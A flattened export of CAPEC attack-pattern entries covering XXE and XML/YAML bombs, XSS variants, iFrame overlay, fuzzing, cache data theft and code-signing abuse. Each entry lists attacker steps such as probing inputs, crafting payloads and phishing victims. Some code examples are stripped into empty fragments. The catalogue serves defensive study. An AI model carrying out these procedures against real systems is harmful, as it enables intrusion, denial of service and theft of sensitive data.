Removal of filters: Input filters, output filters, data masking Detailed An attacker removes or disables filtering mechanisms on the target application. Input filters prevent invalid data from being sent to an application (for example, overly large inputs that might cause a buffer overflow or other malformed inputs that may not be correctly handled by an application). Input filters might also be designed to constrained executable content. For example, if an application accepts scripting languages as input, an input filter could constrain the commands received and block those that the application's administrator deems to be overly powerful. An output filter screens responses from an application or person in order to prevent disclosure of sensitive information. For example, an application's output filter might block output that is sourced to sensitive folders or which contains certain keywords. A data mask is similar to an output filter, but usually applies to structured data, such as found in databases. Data masks elide or replace portions of the information returned from a query in order to protect against the disclosure of sensitive information. If an input filter is removed the attacker will be able to send content to the target and have the target utilize it without it being sanitized. If the content sent by the attacker is executable, the attacker may be able to execute arbitrary commands on the target. If an output filter or data masking mechanism is disabled, the target may send out sensitive information that would otherwise be elided by the filters. If the data mask is disabled, sensitive information stored in a database would be returned unaltered. This could result in the disclosure of sensitive information, such as social security numbers of payment records. This attack is usually executed as part of a larger attack series. The attacker would disable filters and would then mount additional attacks to either insert commands or data or query the target application in ways that would otherwise be prevented by the filters. 2014-06-23 02:00:00 Capec: CAPEC-200
2022-02-22 01:00:00 2.1 Software
None None
  • The target application must utilize some sort of filtering mechanism (input, output, or data masking).
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
207
Serialized Data External Linking Detailed An adversary creates a serialized data file (e.g. XML, YAML, etc...) that contains an external data reference. Because serialized data parsers may not validate documents with external references, there may be no checks on the nature of the reference in the external data. This can allow an adversary to open arbitrary files or connections, which may further lead to the adversary gaining access to information on the system that they would normally be unable to obtain. 2014-06-23 02:00:00 Capec: CAPEC-201
Cwe: CWE-829
Reference_from_capec: REF-73
Reference_from_capec: REF-74
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Software
Communications
Software
  1. The following DTD would attempt to open the /dev/tty device: ]> A malicious actor could use this crafted DTD to reveal sensitive information.
  2. The following XML snippet would attempt to open the /etc/passwd file:

Explore

  1. Survey the target: Using a browser or an automated tool, an adversary records all instances of web services that process requests with serialized data.
  2. Techniques
    Use an automated tool to record all instances of URLs that process requests with serialized data.
    Use a browser to manually explore the website and analyze how the application processes serialized data requests.

Exploit

  1. Craft malicious payload: The adversary crafts malicious data message that contains references to sensitive files.
  2. Launch an External Linking attack: Send the malicious crafted message containing the reference to a sensitive file to the target URL.
High
  • The target must follow external data references without validating the validity of the reference target.
  • None: No specialized resources are required to execute this type of attack.
Low: To send serialized data messages with maliciously crafted schema. Draft High 3.9
Lifting Sensitive Data Embedded in Cache Detailed An adversary examines a target application's cache, or a browser cache, for sensitive information. Many applications that communicate with remote entities or which perform intensive calculations utilize caches to improve efficiency. However, if the application computes or receives sensitive information and the cache is not appropriately protected, an attacker can browse the cache and retrieve this information. This can result in the disclosure of sensitive information. 2014-06-23 02:00:00 Capec: CAPEC-204
Cwe: CWE-524
Cwe: CWE-311
Cwe: CWE-1239
Cwe: CWE-1258
Attack: T1005
2022-09-29 02:00:00 2.1 Software
Physical Security
Hardware

Explore

  1. Identify Application Cache: An adversary first identifies an application that utilizes a cache. This could either be a web application storing data in a browser cache, or an application running on a separate machine. The adversary examines the cache to determine file permissions and possible encryption.
  2. Techniques
    Use probing tools to look for application cache files on a machine.
    Use a web application and determine if any sensitive information is stored in browser cache.

Experiment

  1. Attempt to Access Cache: Once the cache has been discovered, the adversary attempts to access the cached data. This often requires previous access to a machine hosting the target application.
  2. Techniques
    Use priviledge escalation to access cache files that might have strict privileges.
    If the application cache is encrypted with weak encryption, attempt to understand the encryption technique and break the encryption.

Exploit

  1. Lift Sensitive Data from Cache: After gaining access to cached data, an adversary looks for potentially sensitive information and stores it for malicious use. This sensitive data could possibly be used in follow-up attacks related to authentication or authorization.
  2. Techniques
    Using a public computer, or gaining access to a victim's computer, examine browser cache to look for sensitive data left over from previous sessions.
None
  • The target application must store sensitive information in a cache.
  • The cache must be inadequately protected against attacker access.
  • The attacker must be able to reach the target application's cache. This may require prior access to the machine on which the target application runs. If the cache is encrypted, the attacker would need sufficient computational resources to crack the encryption. With strong encryption schemes, doing this could be intractable, but weaker encryption schemes could allow an attacker with sufficient resources to read the file.
Draft Medium 3.9
167
DEPRECATED: Lifting credential(s)/key material embedded in client distributions (thick or thin) Detailed This attack pattern has been deprecated as it is a duplicate of CAPEC-37 : Retrieve Embedded Sensitive Data. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-205
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Signing Malicious Code Detailed The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing. 2014-06-23 02:00:00 Capec: CAPEC-206
Cwe: CWE-732
Attack: T1553.002
Reference_from_capec: REF-699
Reference_from_capec: REF-700
Reference_from_capec: REF-714
2022-02-22 01:00:00 2.1 Supply Chain
Software
  1. In the famous Stuxnet malware incident, two digital certificates were compromised in order to sign malicious device drivers with legitimate credentials. The signing resulted in the malware appearing as trusted by the system it was running on, which facilitated the installation of the malware in kernel mode. This further resulted in Stuxnet remaining undetected for a significant amount of time. [REF-699]
  2. The cyber espionage group CyberKittens leveraged a stolen certificate from AI Squared that allowed them to leverage a signed executable within Operation Wilted Tulip. This ultimately allowed the executable to run as trusted on the system, allowing a Crowd Strike stager to be loaded within the system's memory. [REF-714]

Explore

  1. The adversary first attempts to obtain a digital certificate in order to sign their malware or tools. This certificate could be stolen, created by the adversary, or acquired normally through a certificate authority.
  2. Based on the type of certificate obtained, the adversary will create a goal for their attack. This is either a broad or targeted attack. If an adversary was able to steal a certificate from a targeted organization, they could target this organization by pretending to have legitimate code signed by them. In other cases, the adversary would simply sign their malware and pose as legitimate software such that any user might trust it. This is the more broad approach

Experiment

  1. The adversary creates their malware and signs it with the obtained digital certificate. The adversary then checks if the code that they signed is valid either through downloading from the targeted source or testing locally.

Exploit

  1. Once the malware has been signed, it is then deployed to the desired location. They wait for a trusting user to run their malware, thinking that it is legitimate software. This malware could do a variety of things based on the motivation of the adversary.
None
  • The targeted developer must use a signing key to sign code bundles. (Note that not doing this is not a defense - it only means that the adversary does not need to steal the signing key before forging code bundles in the developer's name.)
  • None: No specialized resources are required to execute this type of attack.
Draft Very High 3.9
444
Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements Detailed An attacker removes or modifies the logic on a client associated with monetary calculations resulting in incorrect information being sent to the server. A server may rely on a client to correctly compute monetary information. For example, a server might supply a price for an item and then rely on the client to correctly compute the total cost of a purchase given the number of items the user is buying. If the attacker can remove or modify the logic that controls these calculations, they can return incorrect values to the server. The attacker can use this to make purchases for a fraction of the legitimate cost or otherwise avoid correct billing for activities. 2014-06-23 02:00:00 Capec: CAPEC-208
Cwe: CWE-602
2017-08-04 02:00:00 2.1 Software
None None
  • The targeted server must rely on the client to correctly perform monetary calculations and must fail to detect errors in these calculations.
  • The attacker must have access to the client for the targeted service (this step is trivial for most web-based services). The attacker must also be able to reverse engineer the client in order to locate and modify the client's purse logic. Reverse engineering tools would be necessary for this.
Draft Medium 3.9
207
XSS Using MIME Type Mismatch Detailed An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser. 2014-06-23 02:00:00 Capec: CAPEC-209
Cwe: CWE-79
Cwe: CWE-20
Cwe: CWE-646
Reference_from_capec: REF-78
2022-02-22 01:00:00 2.1 Software
  1. For example, the MIME type text/plain may be used where the actual content is text/javascript or text/html. Since text does not contain scripting instructions, the stated MIME type would indicate that filtering is unnecessary. However, if the target application subsequently determines the file's real type and invokes the appropriate interpreter, scripted content could be invoked.
  2. In another example, img tags in HTML content could reference a renderable type file instead of an expected image file. The file extension and MIME type can describe an image file, but the file content can be text/javascript or text/html resulting in script execution. If the browser assumes all references in img tags are images, and therefore do not need to be filtered for scripts, this would bypass content filters.

Explore

  1. Survey the application for stored user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all areas that allow a user to upload content through an HTTP POST request. This is typically found in blogs or forums.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to file upload features
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for MIME type mismatch: The adversary uses the entry points gathered in the "Explore" phase as a target list and uploads files with scripting content, but whose MIME type is specified as a file type that cannot execute scripting content. If the application only checks the MIME type of the file, it may let the file through, causing the script to be executed by any user who accesses the file.
  2. Techniques
    Upload a script file with a MIME type of text/plain to a forum and then access the uploaded file to see if the script is executed. If possible, the script displays a unique identifier so the adversary knows for certain it was executed when testing.
  3. Store malicious XSS content: Once the adversary has determined which file upload locations are vulnerable to MIME type mismatch, they will upload a malicious script disguised as a non scripting file. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from a victim.
  4. Techniques
    Use a tool such as BeEF to store a hook into the web application. This will alert the adversary when the victim has accessed the content and will give the adversary control over the victim's browser, allowing them access to cookies, user screenshot, user clipboard, and more complex XSS attacks.

Exploit

  1. Get victim to view stored content: In order for the attack to be successful, the victim needs to view the stored malicious content on the webpage.
  2. Techniques
    Send a phishing email to the victim containing a URL that will direct them to the malicious stored content.
    Simply wait for a victim to view the content. This is viable in situations where content is posted to a popular public forum.
None
  • The victim must follow a crafted link that references a scripting file that is mis-typed as a non-executable file.
  • The victim's browser must detect the true type of a mis-labeled scripting file and invoke the appropriate script interpreter without first performing filtering on the content.
  • The adversary must have the ability to source the file of the incorrect MIME type containing a script.
Draft Medium 3.9
592
DEPRECATED: Leveraging web tools (e.g. Mozilla's GreaseMonkey, Firebug) to change application behavior Detailed This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. 2014-06-23 02:00:00 Capec: CAPEC-211
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping Detailed This attack pattern has been deprecated as it was merged into "CAPEC-215 : Fuzzing for application mapping". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-214
2020-12-17 01:00:00 2.1 None None Deprecated None 3.9
Fuzzing for application mapping Detailed An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash. By observing logs and error messages, the attacker can learn details about the configuration of the target application and might be able to cause the target to disclose sensitive information. In applications that return a stack trace along with the error, this can enumerate the chain of methods that led up to the point where the error was encountered. This can not only reveal the names of the methods (some of which may have known weaknesses) but possibly also the location of class files and libraries as well as parameter values. In some cases, the stack trace might even disclose sensitive configuration or user information. 2014-06-23 02:00:00 Capec: CAPEC-215
Cwe: CWE-209
Cwe: CWE-532
2022-09-29 02:00:00 2.1 Confidentiality:
  • Other (Information Leakage)
Software
Software
  1. The following code generates an error message that leaks the full pathname of the configuration file. $ConfigDir = "/home/myprog/config";$uname = GetUserInput("username");ExitError("Bad hacker!") if ($uname !~ /^\w+$/);$file = "$ConfigDir/$uname.txt";if (! (-e $file)) { ExitError("Error: $file does not exist"); }... If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.
  2. In languages that utilize stack traces, revealing them can give adversaries information that allows them to map functions and file locations for an application. The following Java method prints out a stack trace that exposes the application to this attack pattern. public void httpGet(HttpServletRequest request, HttpServletResponse response) {try {processRequest();} catch (Exception ex) {ex.printStackTrace(response.getWriter()); return;}} If this code is running on a server, such as a web application, then the adversary could cause the exception to be printed through fuzzing.

Explore

  1. Observe communication and inputs: The fuzzing adversary observes the target system looking for inputs and communications between modules, subsystems, or systems.
  2. Techniques
    Network sniffing. Using a network sniffer such as wireshark, the adversary observes communications into and out of the target system.
    Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the adversary observes the system calls and API calls that are made by the target system, and the nature of their parameters.
    Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)

Experiment

  1. Generate fuzzed inputs: Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.
  2. Techniques
    Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).
    Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.
  3. Observe the outcome: Observe the outputs to the inputs fed into the system by fuzzers and see if there are any log or error messages that might provide information to map the application

Exploit

  1. Craft exploit payloads: An adversary usually needs to modify the fuzzing parameters according to the observed error messages to get the desired sensitive information for the application. To defeat correlation, the adversary may try changing the origin IP addresses or client browser identification strings or start a new session from where they left off in obfuscating the attack.
  2. Techniques
    Modify the parameters in the fuzzing tool according to the observed error messages. Repeat with enough parameters until the application has been sufficiently mapped.
    If the application rejects the large amount of fuzzing messages from the same host machine, the adversary needs to hide the attacks by changing the IP addresses or other credentials.
High
  • The target application must fail to sanitize incoming messages adequately before processing.
  • Fuzzing tools, which automatically generate and send message variants, are necessary for this attack. The attacker must have sufficient access to send messages to the target. The attacker must also have the ability to observe the target application's log and/or error messages in order to collect information about the target.
Medium: Although fuzzing parameters is not difficult, and often possible with automated fuzzing tools, interpreting the error conditions and modifying the parameters so as to move further in the process of mapping the application requires detailed knowledge of target platform, the languages and packages used as well as software design. Draft Low 3.9
28 54
Spoofing of UDDI/ebXML Messages Detailed An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud. 2014-06-23 02:00:00 Capec: CAPEC-218
Cwe: CWE-345
2019-04-04 02:00:00 2.1 Software
None None
  • The targeted business's UDDI or ebXML information must be served from a location that the attacker can spoof or compromise or the attacker must be able to intercept and modify unsecured UDDI/ebXML messages in transit.
  • The attacker must be able to force the target user to accept their spoofed UDDI or ebXML message as opposed to the a message associated with a legitimate company. Depending on the follow-on for the attack, the attacker may also need to serve its own web services.
Draft Medium 3.9
148
Data Serialization External Entities Blowup Detailed This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI. 2014-06-23 02:00:00 Capec: CAPEC-221
Cwe: CWE-611
Wasc: 43
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Resource Consumption
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
Software
  1. In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer. < !DOCTYPE bomb []>&detonate;

Explore

  1. Find target web service: The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.

Experiment

  1. Host malicious file on a server: The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.
  2. Craft malicious data: Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.

Exploit

  1. Send serialized data containing URI: The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.
None
  • A server that has an implementation that accepts entities containing URI values.
Draft None 3.9
iFrame Overlay Detailed In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the adversarys' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the adversary wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the adversary may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on. 2014-06-23 02:00:00 Capec: CAPEC-222
Cwe: CWE-1021
Reference_from_capec: REF-84
Reference_from_capec: REF-85
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled "Don't Click." This button is aligned with the invisible "Update" button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to their Twitter profile.

Explore

  1. Craft an iFrame Overlay page: The adversary crafts a malicious iFrame overlay page.
  2. Techniques
    The adversary leverages iFrame overlay capabilities to craft a malicious iFrame overlay page.

Exploit

  1. adversary tricks victim to load the iFrame overlay page: adversary utilizes some form of temptation, misdirection or coercion to trick the victim to loading and interacting with the iFrame overlay page in a way that increases the chances that the victim will visit the malicious page.
  2. Techniques
    Trick the victim to the malicious site by sending the victim an e-mail with a URL to the site.
    Trick the victim to the malicious site by manipulating URLs on a site trusted by the victim.
    Trick the victim to the malicious site through a cross-site scripting attack.
  3. Trick victim into interacting with the iFrame overlay page in the desired manner: The adversary tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.
  4. Techniques
    Hide action controls over very commonly used functionality.
    Hide action controls over very psychologically tempting content.
Medium
  • The victim is communicating with the target application via a web based UI and not a thick client. The victim's browser security policies allow iFrames. The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser). The victim has an active session with the target system. The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system.
  • None: No specialized resources are required to execute this type of attack.
High: Crafting the proper malicious site and luring the victim to this site is not a trivial task. Draft High 3.9
103
Session Credential Falsification through Manipulation Detailed An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server. For example, a credential in the form of a web cookie might have a field that indicates the access rights of a user. By manually tweaking this cookie, a user might be able to increase their access rights to the server. Alternately an attacker may be able to manipulate an existing credential to appear as a different user. This attack differs from falsification through prediction in that the user bases their modified credentials off existing credentials instead of using patterns detected in prior credentials to create a new credential that is accepted because it fits the pattern. As a result, an attacker may be able to impersonate other users or elevate their permissions to a targeted service. 2014-06-23 02:00:00 Capec: CAPEC-226
Cwe: CWE-565
Cwe: CWE-472
2022-02-22 01:00:00 2.1 Software
None None
  • The targeted application must use session credentials to identify legitimate users.
  • An attacker will need tools to sniff existing credentials (possibly their own) in order to retrieve a base credential for modification. They will need to understand how the components of the credential affect server behavior and how to manipulate this behavior by changing the credential. Finally, they will need tools to allow them to craft and transmit a modified credential.
Draft Medium 3.9
196
DTD Injection Detailed An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion. 2014-06-23 02:00:00 Capec: CAPEC-228
Cwe: CWE-829
Reference_from_capec: REF-86
2020-12-17 01:00:00 2.1 Software

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process XML requests.
  2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.
  3. Determine use of XML with DTDs: Examine application input to identify XML input that leverage the use of one or more DTDs.
  4. Techniques
    Examine any available documentation for the application that discusses expected XML input.
    Exercise the application using XML input with and without a DTD specified. Failure without DTD likely indicates use of DTD.

Exploit

  1. [Craft and inject XML containg malicious DTD payload]
  2. Techniques
    Inject XML expansion attack that creates a Denial of Service impact on the targeted server using its DTD.
    Inject XML External Entity (XEE) attack that can cause the disclosure of confidential information, execute abitrary code, create a Denial of Service of the targeted server, or several other malicious impacts.
None
  • The target must be running an XML based application that leverages DTDs.
Draft Medium 3.9
250
Serialized Data Parameter Blowup Detailed This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific. 2014-06-23 02:00:00 Capec: CAPEC-229
Cwe: CWE-770
Wasc: 41
2022-09-29 02:00:00 2.1 Software
  1. In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2). A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.
  2. A YAML bomb leverages references within a YAML file to create exponential growth in memory requirements. By creating a chain of keys whose values are a list of multiple references to the next key in the chain, the amount of memory and processing required to handle the data grows exponentially. This may lead to denial of service or instability resulting from excessive resource consumption.

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process requests using serialized data.
  2. Techniques
    Use an automated tool to record all instances of URLs to process requests from serialized data.
    Use a browser to manually explore the website and analyze how the application processes requests using serialized data.

Exploit

  1. Launch a Blowup attack: The attacker crafts malicious messages that contain multiple configuration parameters in the same dataset.
  2. Techniques
    Send the malicious crafted message containing the multiple configuration parameters to the target URL, causing a denial of service.
High
  • The server accepts input in the form of serialized data and is using a parser with a runtime longer than O(n) for the insertion of a new configuration parameter in the data container.(examples are .NET framework 1.0 and 1.1)
Draft High 3.9
231
DEPRECATED: Implementing a callback to system routine (old AWT Queue) Detailed This attack pattern has been deprecated. Please refer to CAPEC:30 - Hijacking a Privileged Thread of Execution. 2014-06-23 02:00:00 Capec: CAPEC-235
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Catching exception throw/signal from privileged block Detailed This attack pattern has been deprecated as it did not have enough distinction from CAPEC-30 : Hijacking a Privileged Thread of Execution. Please refer to CAPEC-30 moving forward. 2014-06-23 02:00:00 Capec: CAPEC-236
2021-10-21 02:00:00 2.1 None None Deprecated None 3.9
Escaping a Sandbox by Calling Code in Another Language Detailed The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries. 2014-06-23 02:00:00 Capec: CAPEC-237
Cwe: CWE-693
Reference_from_capec: REF-91
Reference_from_capec: REF-92
2020-12-17 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Non-Repudiation:
  • Gain Privileges
Software
  1. Exploit: Java/ByteVerify.C is a detection of malicious code that attempts to exploit a vulnerability in the Microsoft Virtual Machine (VM). The VM enables Java programs to run on Windows platforms. The Microsoft Java VM is included in most versions of Windows and Internet Explorer. In some versions of the Microsoft VM, a vulnerability exists because of a flaw in the way the ByteCode Verifier checks code when it is initially being loaded by the Microsoft VM. The ByteCode Verifier is a low level process in the Microsoft VM that is responsible for checking the validity of code - or byte code - as it is initially being loaded into the Microsoft VM. Java/ByteVerify.C attempts to download a file named "msits.exe", located in the same virtual directory as the Java applet, into the Windows system folder, and with a random file name. It then tries to execute this specific file. This flaw enables attackers to execute arbitrary code on a user's machine such as writing, downloading and executing additional malware. This vulnerability is addressed by update MS03-011, released in 2003.

Explore

  1. Probing: The attacker probes the target application to see whether calling code of another language is allowed within a sandbox.
  2. Techniques
    The attacker probes the target application to see whether calling code of another language is allowed within a sandbox.
  3. Analysis: The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.
  4. Techniques
    The attacker analyzes the target application to get a list of cross code weaknesses in the standard libraries of the sandbox.

Experiment

  1. Verify the exploitable security weaknesses: The attacker tries to craft malicious code of another language allowed by the sandbox to verify the security weaknesses of the standard libraries found in the Explore phase.
  2. Techniques
    The attacker tries to explore the security weaknesses by calling malicious code of another language allowed by the sandbox.

Exploit

  1. Exploit the security weaknesses in the standard libraries: The attacker calls malicious code of another language to exploit the security weaknesses in the standard libraries verified in the Experiment phase. The attacker will be able to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox.
  2. Techniques
    The attacker calls malicious code of another language to exploit the security weaknesses in the standard libraries.
Low
  • None: No specialized resources are required to execute this type of attack.
High: The attacker must have a good knowledge of the platform specific mechanisms of signing and verifying code. Most code signing and verification schemes are based on use of cryptography, the attacker needs to have an understand of these cryptographic operations in good detail. Draft Very High 3.9
480
DEPRECATED: Using URL/codebase / G.A.C. (code source) to convince sandbox of privilege Detailed This attack pattern has been deprecated as it did not appear to be a valid attack pattern. 2014-06-23 02:00:00 Capec: CAPEC-238
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Subversion of Authorization Checks: Cache Filtering, Programmatic Security, etc. Detailed This attack pattern has been deprecated as it did not contain any content and did not serve any useful purpose. Please refer to "CAPEC-207: removing Important Client Functionality" going forward. 2014-06-23 02:00:00 Capec: CAPEC-239
2019-04-04 02:00:00 2.1 None None Deprecated None 3.9
XSS Targeting HTML Attributes Detailed An adversary inserts commands to perform cross-site scripting (XSS) actions in HTML attributes. Many filters do not adequately sanitize attributes against the presence of potentially dangerous commands even if they adequately sanitize tags. For example, dangerous expressions could be inserted into a style attribute in an anchor tag, resulting in the execution of malicious code when the resulting page is rendered. If a victim is tricked into viewing the rendered page the attack proceeds like a normal XSS attack, possibly resulting in the loss of sensitive cookies or other malicious activities. 2014-06-23 02:00:00 Capec: CAPEC-243
Cwe: CWE-83
Reference_from_capec: REF-94
2022-02-22 01:00:00 2.1 Software
Software
Software

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS targeting HTML attributes: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various malicious expressions as input, hoping to embed them as HTML attributes.
  2. Techniques
    Inject single and double quotes into URL parameters or other inputs to see if they are filtered out. Also use URL encoding to bypass filters.
    Use single or double quotes to close attribute evaluation and enter a new attribute that contains an expression.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Execute a script using an expression embedded in an HTML attribute, which avoids needing to inject a script tag.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
None
  • The target application must fail to adequately sanitize HTML attributes against the presence of dangerous commands.
  • The adversary must trick the victim into following a crafted link to a vulnerable server or view a web post where the dangerous commands are executed.
Draft Medium 3.9
XSS Targeting URI Placeholders Detailed An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link. 2014-06-23 02:00:00 Capec: CAPEC-244
Cwe: CWE-83
Reference_from_capec: REF-70
Reference_from_capec: REF-96
Reference_from_capec: REF-72
2022-09-29 02:00:00 2.1 Integrity:
